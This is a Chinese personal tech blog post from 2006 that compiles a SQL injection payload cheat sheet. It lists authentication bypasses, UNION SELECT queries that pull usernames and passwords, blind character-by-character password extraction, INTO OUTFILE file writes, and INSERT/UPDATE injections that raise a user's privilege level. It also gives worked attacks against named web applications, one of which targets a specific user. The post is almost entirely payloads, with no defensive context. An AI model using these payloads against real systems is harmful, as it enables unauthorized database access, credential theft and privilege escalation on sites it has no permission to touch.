山寨-IT民工 Eric's Blog 蓝色的海洋、自由的天空
山寨
导航
首页
JAVA技术
框架应用
疑难杂症
数据库应用
软件工程
工具应用
开源包
JavaScript
Linux
站内标签
留言
« [ Discuz! v5.0.0 RC ] Xss
XSS测试语句大全 »
2006-9-7 0:41:7
Injection库总结
' or 1=1 ' or '1=1 '/* '%23 ' and password='mypass id=-1 union select 1,1,1 id=-1 union select char(97),char(97),char(97) id=1 union select 1,1,1 from members id=1 union select 1,1,1 from admin id=1 union select 1,1,1 from user userid=1 and password=mypass userid=1 and mid(password,3,1)=char(112) userid=1 and mid(password,4,1)=char(97) and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的) ' and LENGTH(password)='6(探测密码长度) ' and LEFT(password,1)='m ' and LEFT(password,2)='my …………………………依次类推 ' union select 1,username,password from user/* ' union select 1,username,password from user/* =' union select 1,username,password from user/* (可以是1或者=后直接跟) 99999' union select 1,username,password from user/* ' into outfile 'c:/file.txt (导出文件) =' or 1=1 into outfile 'c:/file.txt 1' union select 1,username,password from user into outfile 'c:/user.txt Select password FROM admins Where login='John' INTO DUMPFILE '/path/to/site/file.txt' id=' union select 1,username,password from user into outfile id=-1 union select 1,database(),version() (灵活应用查询) 常用查询测试语句, Select * FROM table Where 1=1 Select * FROM table Where 'uuu'='uuu' Select * FROM table Where 1<>2 Select * FROM table Where 3>2 Select * FROM table Where 2<3 Select * FROM table Where 1 Select * FROM table Where 1+1 Select * FROM table Where 1--1 Select * FROM table Where ISNULL(NULL) Select * FROM table Where ISNULL(COT(0)) Select * FROM table Where 1 IS NOT NULL Select * FROM table Where NULL IS NULL Select * FROM table Where 2 BETWEEN 1 AND 3 Select * FROM table Where 'b' BETWEEN 'a' AND 'c' Select * FROM table Where 2 IN (0,1,2) Select * FROM table Where CASE WHEN 1>0 THEN 1 END 例如:夜猫下载系统1.0版本 id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 ………………………………………………………… 例如2:灰色轨迹 变换id进行测试(meteor) union%20(Select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20Where%20eventid%20=%2013)%20order%20by%20eventdate union%20(Select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20Where%20eventid%20=%2010)%20order%20by%20eventdate 构造语句: Select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events Where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) Select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events Where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) UNION%20(Select%201,0,2,'1999-01-01','a',password%20FROM%20user%20Where%20userid%20=%205)%20order%20by%20eventdate UNION%20(Select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20Where%20userid=13465)%20order%20by%20eventdate UNION%20(Select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20Where%20username='sandflee')%20order%20by%20eventdate (查沙子的id) (Select a FROM table_name Where a=10 AND B=1 orDER BY a LIMIT 10) Select * FROM article Where articleid='$id' UNION Select * FROM……(字段和数据库相同情况下,可直接提交) Select * FROM article Where articleid='$id' UNION Select 1,1,1,1,1,1,1 FROM……(不同的情况下) 特殊技巧:在表单,搜索引擎等地方写: “___” “.__ ” “% %' orDER BY articleid/* %' orDER BY articleid# __' orDER BY articleid/* __' orDER BY articleid# $command = "dir c:";system($command); Select * FROM article Where articleid='$id' Select * FROM article Where articleid=$id 1' and 1=2 union select * from user where userid=1/* 句中变为 (Select * FROM article Where articleid='1' and 1=2 union select * from user where userid=1/*') 1 and 1=2 union select * from user where userid=1 语句形式:建立一个库,插入: Create DATABASE `injection` Create TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', PRIMARY KEY (`userid`) ) ; Insert INTO `user` VALUES (1, 'swap', 'mypass'); 插如一个注册用户: Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); “Insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; Insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') "Insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; Insert INTO membres SET login='',password='',nom='',userlevel='3',email='' "Insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; Update user SET password='$password', homepage='$homepage' Where id='$id' Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id' "Update membres SET password='$pass',nom='$nom',email='$email' Where id='$id'"; Update membres SET password='[PASS]',nom='',userlevel='3',email=' ' Where id='[ID]' "Update news SET Votes=Votes+1, score=score+$note Where idnews='$id'"; 长用函数: DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() 比如: Update article SET title=$title Where articleid=1 对应函数 Update article SET title=DATABASE() Where id=1 #把当前数据库名更新到title字段 Update article SET title=USER() Where id=1 #把当前 MySQL 用户名更新到title字段 Update article SET title=SYSTEM_USER() Where id=1 #把当前 MySQL 用户名更新到title字段 Update article SET title=SESSION_USER() Where id=1 #把当前 MySQL 用户名更新到title字段 Update article SET title=CURRENT_USER() Where id=1 #把当前会话被验证匹配的用户名更新到title字段 ::::::::::::::::::::::::::::::::::::::::: $req = "Select * FROM membres Where name LIKE '%$search%' orDER BY name"; Select * FROM membres Where name LIKE '%%' orDER BY uid#%' orDER BY name Select * FROM membres Where name LIKE '%%' orDER BY uid#%' orDER BY name Select uid FROM admins Where login='' or 'a'='a' AND password='' or 'a'='a' (经典) Select uid FROM admins Where login='' or admin_level=1#' AND password='' Select * FROM table Where msg LIKE '%hop' Select uid FROM membres Where login='Bob' AND password LIKE 'a%'#' AND password='' Select * FROM membres Where name LIKE '%%' orDER BY uid#%' orDER BY name
提示:您可以先修改部分代码再运行
Tags:
发布:Eric | 分类:数据库应用 | 评论:0 | 引用:0 | 浏览:
点击这里获取该日志的TrackBack引用地址
相关文章:
发表评论:
名称(*)
邮箱
网站链接
正文(*)(留言最长字数:1000)
记住我,下次回复时不用重新输入个人信息
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。
日历
最新评论及回复
最近发表
Powered By
Z-Blog 1.8 Arwen Build 81206
湘 ICP 备 06003756 号
Copyright
山寨
Rights Reserved.